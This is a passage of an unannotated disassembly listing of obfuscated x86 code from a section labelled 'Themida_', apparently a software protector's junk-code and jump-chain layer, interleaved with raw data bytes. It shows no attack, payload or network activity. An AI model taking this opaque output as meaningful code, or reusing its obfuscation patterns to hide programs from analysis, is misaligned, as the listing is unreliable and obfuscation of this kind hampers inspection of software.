		dd 4, 4247401h,	0CE32E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1FA:				; CODE XREF: Themida_:0055210Dj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		not	ebp
		jmp	loc_563CEF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 243CD366h, 340EE99Ch, 77FFFFFFh, 59669D1Ch, 9C241CD3h
		dd 0FF33FFE9h, 50F6B5FFh, 83E928B4h, 0BDFFFF75h, 68C36C14h
		dd 7DEA83B9h, 0BCE9817Ch, 2909B61Eh, 0E1BD55E9h, 0C112E258h
		dd 0C58102EDh, 4FD8884h, 8B5DE901h, 0C483242Ch,	7E6EBA04h
		dd 0CA3113BAh, 592434FFh, 4C481h, 89560000h, 4C681E6h
		dd 53000000h, 49E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E27D:				; CODE XREF: Themida_:00565FEAj
		pop	dword ptr [esp]
		pop	esp
		push	454Fh
		jmp	loc_559D7D
; ---------------------------------------------------------------------------


loc_55E28B:				; CODE XREF: Themida_:005660BAj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557FA2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_55C864
; ---------------------------------------------------------------------------
		db 68h
		dd 3DCh, 68241C89h, 8474A35h, 0E9241C8Bh, 1D4Dh, 6CD7E95Dh
		dd 4830000h, 0E9590424h, 0FFFFD21Dh, 8F69C12Dh,	74BE5679h
		dd 81662F73h, 0F64519EEh, 5CE68124h, 8132300Bh,	191542E6h
		dd 0E3C68146h, 0E9535933h, 0FFFFC8E1h, 481BEB81h, 0FB011538h
		dd 0FF9B3FE9h, 0E9DDF7FFh, 630Bh, 900A53BBh, 8EBC143h
		dd 814BD3F7h, 0BC6FF4F3h, 5BD889FFh, 5950C829h,	4DF18158h
		dd 81401C63h, 3C103DEEh, 0E9CE0112h, 0FFFF73F1h
; ---------------------------------------------------------------------------


loc_55E330:				; CODE XREF: Themida_:0055734Cj
		add	ebp, 4
		jmp	loc_552944
; ---------------------------------------------------------------------------
a1SE		db '1Øé',9,'E',0
		align 2
		dw 15B3h
		dd 0C01AF380h, 0BFE902EBh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E34F:				; CODE XREF: Themida_:0055EC27j
		dec	al
		jmp	loc_564DBF
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 74FF5604h, 8F5E0424h, 248B2404h, 94F7E924h, 0E952FFFFh
		dd 54B7h, 68D831ADh, 3E19h, 0B9240C89h,	35980C1Ah, 0FE770D05h
		dd 34230515h, 0C1055369h, 0E9798F69h, 7744h, 0C252D8BDh
		dd 3E37E95Ah, 0B6350000h, 29657233h, 0CA7DE9C3h, 1C29FFFFh
		dd 2434FF24h, 4C4815Bh,	0C1000000h, 0D3F703EBh,	0E61AE943h
		dd 0CB81FFFFh, 4843CD6h, 5DBFB951h, 0D1F70395h,	8106E9C1h
		dd 0AC804F1h, 0E9CB010Eh, 0FFFFDA1Ah, 0FFC6815Dh, 51FFFFFFh
		dd 64056850h, 355873A9h, 1D6E1EA0h, 0C7E9C189h,	5D00002Fh
		dd 0FFD272E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E401:				; CODE XREF: Themida_:0055C7BFj
		mov	edx, 24CA1449h
		or	edx, 28606C6Ah
		or	edx, 3E032417h
		jmp	loc_55B3C9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E904C483h, 0FFFF73D0h
; ---------------------------------------------------------------------------


loc_55E420:				; CODE XREF: Themida_:005630CFj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_553237
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58300h, 5C242C87h, 8B242C87h, 54552424h, 3A40E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E44E:				; CODE XREF: Themida_:00556EC1j
		dec	ebp
		xor	ebp, 5B750039h
		mov	edi, ebp
		pop	ebp
		mov	eax, edi
		pop	edi
		jmp	loc_565AF9
; ---------------------------------------------------------------------------


loc_55E460:				; CODE XREF: Themida_:00558C08j
		sub	edi, 25417355h
		neg	edi
		neg	edi
		sub	edi, 5A0E1E21h
		add	edx, edi
		pop	edi
		push	edx
		add	dword ptr [esp], 1EF061F1h
		pop	esi
		sub	esi, 1EF061F1h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esi
		push	ebp
		jmp	loc_55E5CE
; ---------------------------------------------------------------------------


loc_55E494:				; CODE XREF: Themida_:005613E3j
		mov	esi, 46A969B4h
		shl	esi, 1
		or	esi, 520B1BD8h
		push	edx
		jmp	loc_5661E9
; ---------------------------------------------------------------------------


loc_55E4A7:				; CODE XREF: Themida_:0055CF45j
		xor	ebx, [esp]
		jmp	loc_55FBC9
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 0B046E924h, 3489FFFFh, 4AB95124h,	0BE25C15Bh
		dd 2D5BCE1Fh, 0E0E9CE29h, 83FFFF76h, 0B4E904C4h, 57FFFFCEh
		dd 74EB951h, 0B4E94CF2h, 81000049h, 4C6h, 24348700h, 0B60F665Ch
		dd 11686600h, 489663Bh,	312AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E4FE:				; CODE XREF: Themida_:0055D0B9j
		push	5883h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_558462
; ---------------------------------------------------------------------------
		dd 463FC9BAh, 5EAC17Fh,	0E942D2F7h, 6643h, 0FDCB850h, 0D0F74FE9h
		dd 0E906E8C1h, 0FFFFB935h, 9507E95Bh, 0E981FFFFh, 0C97CA551h
		dd 34FFCB89h, 0C4835924h, 246C8104h, 42538004h,	245C0167h
		dd 24448104h, 42538004h, 241C8B67h, 0FF82ECE9h,	68D7F7FFh
		dd 1332h, 0BA241489h, 0B28CA74Fh, 148BD729h, 4C48324h
		dd 315FFE89h, 24348BF7h, 4C481h, 0C7810000h, 22C239A7h
		dd 0BED5E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E59A:				; CODE XREF: Themida_:005598FAj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_560942
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset dword_413B78+171h
		dd 242C8B00h, 0D6FE9h, 148B5500h, 4634E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E5CE:				; CODE XREF: Themida_:0055E48Fj
		mov	ebp, edi
		mov	ecx, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566393
; ---------------------------------------------------------------------------
aISye		db 'ˆÂéyE',0
		align 4
		dd 42474FFh, 24048F5Ah,	0E924248Bh, 0FFFFF05Fh,	5EBC14Bh
		dd 0EBD8C381h, 0DF89F80Ch, 5FFA295Bh, 0E9241487h, 0FFFFC18Dh
; ---------------------------------------------------------------------------


loc_55E610:				; CODE XREF: Themida_:005575FEj
		mov	ebx, 0DC400611h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		pop	eax
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_56264E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 0E0C9E924h, 205FFFFh, 33000000h
		dd 4312404h, 24043324h,	0F624248Bh, 0B60F66F9h,	51E957CCh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E65B:				; CODE XREF: Themida_:00559B79j
		push	ebp
		mov	ebp, esp
		jmp	loc_566081
; ---------------------------------------------------------------------------


loc_55E663:				; CODE XREF: Themida_:00552B04j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		push	eax
		jmp	loc_554055
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFFA91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E685:				; CODE XREF: Themida_:00553E12j
		sub	esp, 4
		jmp	loc_5632BA
; ---------------------------------------------------------------------------


loc_55E68D:				; CODE XREF: Themida_:00564E80j
		mov	edx, [esp]
		add	esp, 4
		push	3D29h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5636C1
; ---------------------------------------------------------------------------
		dd 0B850DAF7h, 0B9DB7DD5h, 5258C201h, 0A9E0E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E6BA:				; CODE XREF: Themida_:00561D18j
		and	ebx, 54107220h
		sub	esp, 4
		jmp	loc_5582FA
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 81E38953h, 4C3h, 4C38100h, 87000000h, 835C241Ch
		dd 48904ECh, 4B824h, 0C6810000h, 7C5D422Dh, 0EE81C629h
		dd 7C5D422Dh, 4EB06858h, 34890000h, 2474FF24h, 24348B04h
		dd 0FF59E6E9h, 4DC72DFFh, 0A50D4F35h, 351D9A39h, 84ACAA69h
		dd 0C6E9C331h, 51h, 0B386E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E72A:				; CODE XREF: Themida_:00560634j
		add	esp, 4
		neg	edi
		xor	edi, 0F0ABA082h
		and	eax, edi
		jmp	loc_55DE24
; ---------------------------------------------------------------------------


loc_55E73C:				; CODE XREF: Themida_:00556D95j
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_55DE44
; ---------------------------------------------------------------------------
		db 1, 0EBh, 5Dh
		dd 8124348Bh, 4C4h, 7378E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E75A:				; CODE XREF: Themida_:0055D442j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_557B1C
; ---------------------------------------------------------------------------
		dd 21F14B8h, 18EC2D06h,	0C201D921h, 788E6858h, 3C890000h
		dd 64F1BF24h, 0C7816D80h, 0FFFFFFFFh, 94CF8147h, 5728AE28h
		dd 5F2404FFh, 4AE5EF81h, 9EE91E66h, 8BFFFFC8h, 54522414h
		dd 4BE565Ah, 1000000h, 0BB535EF2h, 0C8147E1h, 0E6F38143h
		dd 10C8147h, 14875BDAh,	24248B24h, 0FF41DFE9h, 0E9DAF7FFh
		dd 0FFFF698Eh
; ---------------------------------------------------------------------------


loc_55E7D0:				; CODE XREF: Themida_:005603E4j
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	edi, 7B452F64h
		jmp	loc_55A7D0
; ---------------------------------------------------------------------------
		dd 39E99C51h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E7EF:				; CODE XREF: Themida_:0055A6F2j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D361
; ---------------------------------------------------------------------------
		db 81h
		dd 0D37FA5E2h, 0D4EA8109h, 89F7772Ah, 0F3895AD6h, 4EC835Eh
		dd 0BE243489h, 0A45DDC84h, 0E95EF329h, 0FFFFC997h, 6372B850h
		dd 2FE95CABh, 89FFFF42h, 30682414h, 89000025h, 2CE92424h
		dd 50FFFFABh, 405E089h,	83000000h, 48704E8h, 4895C24h
		dd 32FCE924h, 0C5880000h, 8859EA88h, 52505AD1h,	88CF8853h
		dd 0F4885BFEh, 0B2E9515Ah
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E86F:				; CODE XREF: Themida_:0055BF31j
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		bswap	eax
		jmp	loc_553609
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0F18166D9h, 89669E27h, 0C16659CFh, 506606E7h, 28A0B866h
		dd 66C72966h, 5024048Bh, 405E089h, 5000000h, 2,	8B240487h
		dd 2BE92424h, 28FFFF5Fh, 0E9E604D8h, 0FFFFB53Ah
; ---------------------------------------------------------------------------


loc_55E8BC:				; CODE XREF: Themida_:00553464j
		push	1A824E0Ah
		pop	edi
		shr	edi, 4
		push	edi
		jmp	loc_55B7B3
; ---------------------------------------------------------------------------
		db 66h
		dd 6602ADBAh, 665507BEh, 665AD629h, 0B9BF6657h,	681FE9A4h
		dd 0C7810000h, 4, 0B6BE5652h, 0E9347761h, 0FFFF5B5Ch, 2434FF54h
		dd 83242C8Bh, 0C48104C4h, 4, 1D3568h, 243C8900h, 4A3096BFh
		dd 5EF4E909h, 0DBF70000h, 7F4CBF57h, 0F78146C9h, 13863DAFh
		dd 0E621C781h, 0FB01C89Ch, 81DBF75Fh, 2013DAEBh, 47BD5575h
		dd 814FF804h, 0CB63B0C5h, 0A4EB81D1h, 291BD769h, 0E8E950EBh
		dd 83FFFFE3h, 8B042404h, 0C4832404h, 0E9555704h, 0FFFF5B82h
		dd 405h, 42D00h, 5CE90000h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E96F:				; CODE XREF: Themida_:00554ED6j
		pop	edi
		add	ebx, 4C0E7FFDh
		sub	ebx, eax
		sub	ebx, 4C0E7FFDh
		add	ebx, 4C7C0457h
		add	ebx, 17F15B31h
		sub	edx, 59C30726h
		add	edx, eax
		push	edi
		push	ecx
		push	esi
		push	0B534123h
		pop	esi
		push	esi
		push	edi
		pop	esi
		pop	edi
		jmp	loc_55AD31
; ---------------------------------------------------------------------------


loc_55E9A4:				; CODE XREF: Themida_:0055DE1Fj
		sub	dword ptr [esp+4], 30C1F6Bh
		add	dword ptr [esp+4], 555A52F9h
		push	eax
		mov	eax, 76671074h
		add	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 22E526AEh
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	ecx, 50651D35h
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_554E82
; ---------------------------------------------------------------------------


loc_55E9EE:				; CODE XREF: Themida_:005632C2j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560C79
; ---------------------------------------------------------------------------
		db 1
		dd 0BB5359CFh, 4, 0FFB5B1E9h, 0B8505BFFh, 13104C93h, 4925D8F7h
		dd 0C1212746h, 0B20506E8h, 0E91CE5DBh, 3640h, 24148B66h
		dd 0E902C483h, 6F68h, 81E18951h, 4C1h, 4C18100h, 51000000h
		dd 42474FFh, 24048F59h,	0FF4D50E9h, 96B951FFh, 81336564h
		dd 2E1B06F1h, 52E95723h, 5B000016h, 4C481h, 0C6830000h
		dd 24343302h, 33243431h, 0BBE92434h, 68FFFF49h,	0E8Bh
		dd 0B7241C89h, 28CCB1BBh, 0D9F65BF9h, 0FF9E08E9h, 386935FFh
		dd 0C8B3BD6h, 4C48124h,	81000000h, 836868C5h, 0EDF7E92Ch
		dd 0E189FFFFh, 4BF57h, 0F9010000h, 0FFF37BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EAB1:				; CODE XREF: Themida_:005618FCj
		add	bl, cl
		push	ecx
		mov	ch, 9Eh
		xor	ch, 0E4h
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	cx
		jmp	loc_561AE0
; ---------------------------------------------------------------------------
		db 0B2h
		dd 80CAFE9Ch, 0C28073CAh, 12C280E3h, 5F1CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EADD:				; CODE XREF: Themida_:005634BAj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55F9AE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 34284005h, 0F45EE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EAFE:				; CODE XREF: Themida_:0055DFF6j
		push	0
		pop	ebx
		sub	ebx, 69113B45h
		push	edx
		mov	edx, 4FF66588h
		shl	edx, 1
		inc	edx
		xor	edx, 14820DC8h
		jmp	loc_561EA1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24148904h, 24148B54h, 4C481h, 31E90000h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB37:				; CODE XREF: Themida_:00552E17j
		push	edx
		jmp	loc_561400
; ---------------------------------------------------------------------------


loc_55EB3D:				; CODE XREF: Themida_:005546A6j
		push	eax
		mov	eax, 18CB17D1h
		not	eax
		or	eax, 4E3E46D7h
		sub	eax, 4D525693h
		xor	eax, 0A1EC9868h
		sub	ebp, 0C0538FFh
		jmp	loc_56208A
; ---------------------------------------------------------------------------


loc_55EB5F:				; CODE XREF: Themida_:00554CCAj
		mov	[esp], edx
		push	10h
		pop	edx
		and	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	2FD1h
		jmp	loc_554AA5
; ---------------------------------------------------------------------------


loc_55EB7A:				; CODE XREF: Themida_:0055BFA2j
		mov	edx, 0E32BDAA6h
		add	edx, edi
		jmp	loc_5654C1
; ---------------------------------------------------------------------------


loc_55EB86:				; CODE XREF: Themida_:00561F2Fj
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56266B
; ---------------------------------------------------------------------------


loc_55EBA4:				; CODE XREF: Themida_:0055BA64j
		add	eax, 76864C99h
		dec	eax
		add	eax, 11792850h
		shr	eax, 6
		jmp	loc_5649AB
; ---------------------------------------------------------------------------
		db 59h
		dd 582434FFh, 0FFBD2BE9h, 0EBC181FFh, 81484C37h, 6C4279E9h
		dd 0E3C1811Dh, 586AA168h, 0C8BC829h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	335F19D6h
		pop	edi
		sub	edi, 20A563CEh
		jmp	loc_56237A
; ---------------------------------------------------------------------------
		db 57h
		dd 2E3990BFh, 8BFE8953h, 0C483243Ch, 0FFBA5204h, 29FFFFFFh
		dd 9157E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC0A:				; CODE XREF: Themida_:00560E4Fj
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555D3F
; ---------------------------------------------------------------------------
		dw 5E66h
		dd 0FF2A03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC25:				; CODE XREF: Themida_:00555448j
		or	al, 75h
		jmp	loc_55E34F
; ---------------------------------------------------------------------------


loc_55EC2C:				; CODE XREF: Themida_:005633B6j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_564538
; ---------------------------------------------------------------------------
aFlHC		db 'f‹<$h{c',0
		align 10h
		dd 0FF50DCE9h, 1EA80FFh, 28A2EA80h, 68665AD7h, 89660143h
		dd 8DE92414h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC5B:				; CODE XREF: Themida_:005652B4j
		mov	edi, 1709557Ch
		jmp	loc_55FF85
; ---------------------------------------------------------------------------


loc_55EC65:				; CODE XREF: Themida_:00560AB9j
		mov	[esp], ebx
		pop	eax
		jmp	loc_557D42
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 0E9241C8Bh, 0FFFF3087h, 4EC81h, 0C890000h, 6349B924h
		dd 0BB53401Ch, 1, 0E95BD929h, 778Ch, 5055EF81h,	0C781503Ah
		dd 0FFFFFFFFh, 46FE950h, 0C2810000h, 4,	305068h, 241C8900h
		dd 74C268h, 0B546E900h,	0E0C1FFFFh, 0E9505608h,	0FFFF81A2h
; ---------------------------------------------------------------------------


loc_55ECC8:				; CODE XREF: Themida_:00557738j
		xor	ebx, 2C654F1Ah
		jmp	loc_555BC0
; ---------------------------------------------------------------------------


loc_55ECD3:				; CODE XREF: Themida_:0055B7AEj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 220E5D1Fh
		xor	[esp+4], ebx
		pop	ebx
		jmp	loc_55FB0B
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 42h
		dd 81545256h, 0C8548CC5h, 2C875952h, 24248B24h,	0C8685650h
		dd 0FF520D7Ch, 525E2434h, 0C281E289h, 4, 0E904C283h, 0FFFF4B06h
		dd 513CBA52h, 0D0217454h, 8213E95Ah, 0C781FFFFh, 4, 0FF7CEDE9h
		dd 24148BFFh, 4C481h, 0C4830000h, 0CEE95304h, 83FFFFD9h
		dd 0C83104C4h, 8B2434FFh, 8952240Ch, 4C281E2h, 81000000h
		dd 4C2h, 3CE9E900h, 5968FFFFh, 0E900004Ch, 5539h
; ---------------------------------------------------------------------------


loc_55ED70:				; CODE XREF: Themida_:00559682j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_555336
; ---------------------------------------------------------------------------
		dw 0D141h
		dd 91F181E9h, 0E9006F60h, 517h,	0DA89FB89h, 243C8B5Bh
		dd 81E78957h, 4C7h, 0C09AE900h,	305BFFFFh, 9393E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDAE:				; CODE XREF: Themida_:0055CC5Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D7D6
; ---------------------------------------------------------------------------
		dw 0FFB8h
		dd 48526B1Ch, 0FFEF74E9h, 2434FFFFh, 4EC8358h, 0FF7F80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EDDD:				; CODE XREF: Themida_:00561891j
		mov	[esp], edx
		push	585C1819h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5623BC
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E2895224h, 0FF5F17E9h, 4C281FFh, 81000000h,	4C2h, 24148700h
		dd 8724248Bh, 248B243Ch, 3CAFE924h, 0C890000h, 23BD5524h
		dd 8912601Fh, 242C8BE9h, 0DDE95456h, 8BFFFFAAh,	34892424h
		dd 0E9E95124h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE3F:				; CODE XREF: Themida_:00560C7Fj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_557931
; ---------------------------------------------------------------------------


loc_55EE55:				; CODE XREF: Themida_:0056357Cj
		pop	edi
		add	esp, 4
		jmp	loc_558A5C
; ---------------------------------------------------------------------------


loc_55EE61:				; CODE XREF: Themida_:00557583j
		sub	esp, 4
		jmp	loc_5597E8
; ---------------------------------------------------------------------------
		dd 3800BB53h, 0EBC11FF6h, 2268E908h, 51AD0000h,	78DE9h
		dd 0E9815800h, 4, 8904EC83h, 3BE9240Ch,	0BDFFFFB2h, 2
		dd 0E1E9EF01h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE9F:				; CODE XREF: Themida_:00563E69j
		mov	edx, 0
		add	edx, eax
		jmp	loc_558410
; ---------------------------------------------------------------------------


loc_55EEAB:				; CODE XREF: Themida_:00553B66j
		push	dword ptr [esp+4]
		jmp	loc_55329C
; ---------------------------------------------------------------------------


loc_55EEB4:				; CODE XREF: Themida_:00556707j
		sub	edx, 2B820ACFh
		sub	edx, 1BB20C98h
		sub	edx, 4369067Ch
		sub	edx, 36A25ABEh
		add	edx, 2B2D5D79h
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0EAh
		dd 0E9242C8Bh, 4818h, 3C8BFA01h, 4C48324h, 5C241487h, 3302C383h
		dd 33E9241Ch, 81FFFF6Ah, 0D1886E7h, 0C8EF8110h,	1C1FCC0h
		dd 243C8BF8h, 104C483h,	47BA2DD0h, 148B3E07h, 0CF15E924h
		dd 8966FFFFh, 81665FFEh, 6655C2EFh, 8166F701h, 6655C2C7h
		dd 0E924348Bh, 72F9h
; ---------------------------------------------------------------------------


loc_55EF4C:				; CODE XREF: Themida_:0056607Cj
		pop	ecx
		jmp	loc_552D49
; ---------------------------------------------------------------------------


loc_55EF52:				; CODE XREF: Themida_:00562250j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	7AA45370h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 51A93EDEh
		mov	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 79C3093Bh
		jmp	loc_553898
; ---------------------------------------------------------------------------


loc_55EF7B:				; CODE XREF: Themida_:00564CABj
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5627E5
; ---------------------------------------------------------------------------


loc_55EF8C:				; CODE XREF: Themida_:00557AAEj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55CA89
; ---------------------------------------------------------------------------
		db 0B8h
		dd 52D14DCFh, 0E259E950h, 0C281FFFFh, 0DBB284BEh, 0C8E9D029h
		dd 31FFFF95h, 63E92414h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFB7:				; CODE XREF: Themida_:00561E09j
		xor	[esp], edx
		jmp	loc_562D2B
; ---------------------------------------------------------------------------


loc_55EFBF:				; CODE XREF: Themida_:0056545Bj
		or	ebx, ebx
		jnz	loc_5600BB
		push	eax
		jmp	loc_554B19
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0F3815C24h, 767359E2h
		dd 4AD2E9h, 4C48300h, 1BD55h, 0E8290000h, 0FFEADFE9h, 48F5CFFh
		dd 24248B24h, 0FFABCEE9h, 36EA81FFh, 0F737B425h, 1EA81DAh
		dd 81000000h, 4D71C7EAh, 800AE9D9h, 0E953FFFFh,	0FFFFBA75h
		dd 0B9240C89h, 4B1D478Bh, 4D7FE952h, 0E95BFFFFh, 0FFFFA388h
; ---------------------------------------------------------------------------


loc_55F038:				; CODE XREF: Themida_:00553B4Ej
		pop	ebp
		jmp	loc_55FD25
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 3066BA52h, 0D00124EBh, 2434FF5Ah, 0FFC8D0E9h, 0E95756FFh
		dd 0FFFF9BF7h, 0B4F6815Eh, 58047F6Bh, 0FFA366E9h, 8BC389FFh
		dd 0C4832404h, 0F8A4E904h, 5E66FFFFh, 3D720566h, 83D80166h
		dd 896602ECh, 68662414h, 1BE93D72h, 89FFFFA6h, 0B8505AD6h
		dd 577B190Ch, 0AE447D05h, 58C60115h, 0E904EC83h, 2CECh
		dd 0E9240487h, 3EE1h, 0BB241C89h, 2EFE38FFh, 504EA81h
		dd 0E2E94A20h, 81FFFF45h, 420172E3h, 0A4C38153h, 1FCFFFEh
		dd 0B8505BDDh, 4, 48BC501h, 4C48324h, 26F168h, 242C8900h
		dd 42474FFh, 0FF5974E9h, 1EBD55FFh, 0E96DA65Dh,	0FFFF5428h
		dd 877BE95Bh, 0B951FFFFh, 3F321B12h, 6B5EF181h,	0ACE95CCCh
		dd 5CFFFFB5h, 0FF8085E9h, 4730B8FFh, 0E8C102C9h, 0E9404807h
		dd 0FFFF285Ah, 4C381h, 0EC830000h, 241C8904h, 42474FFh
		dd 24048F5Bh, 0C8B60F5Ch, 2F5768h, 24148900h, 4EC81h, 8F540000h
		dd 4832404h, 34FF0424h,	5515E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F15A:				; CODE XREF: Themida_:00561D2Dj
		mov	ebx, eax
		jmp	loc_551F06
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0FFFF3198h
; ---------------------------------------------------------------------------


loc_55F168:				; CODE XREF: Themida_:0056628Cj
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5619D7
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXvs		db 'XVé;',8,0
		db 0
; ---------------------------------------------------------------------------


loc_55F197:				; CODE XREF: Themida_:00557ED2j
		mov	ecx, 19C031B1h
		add	esi, 49F24FFEh
		add	esi, 38AD701Bh
		sub	esi, ecx
		jmp	loc_555FA8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2404895Ch, 0FFEF29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F1D1:				; CODE XREF: Themida_:0055B0A9j
		add	ecx, 320836BAh
		add	ecx, 4EA97B44h
		jmp	loc_5639F4
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 1331492h, 0FF839BE9h, 5AD501FFh, 0D5ECE955h,	248BFFFFh
		dd 0B073E924h, 0BA52FFFFh, 6A54701Eh, 733EEA81h, 0CA814C7Fh
		dd 12A206CCh, 2BA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F215:				; CODE XREF: Themida_:0056077Cj
		pop	esp
		mov	[esp], ebx
		mov	bl, 74h
		shl	bl, 7
		jmp	loc_563D16
; ---------------------------------------------------------------------------
		db 81h
		dd 0FC6A84F1h, 81D1F76Fh, 0D615C3F1h, 0E2E98144h, 81529062h
		dd 427638F1h, 59CB2948h, 89DA8952h, 0BD3E9D0h, 0B3530000h
		dd 6B05E9E7h, 0D8F70000h, 3D88BB53h, 0F7436CBCh, 0ACEB81DBh
		dd 0E92F2151h, 0FFFFF0D3h, 0CE9CD01h
		db 2Bh,	2 dup(0FFh)
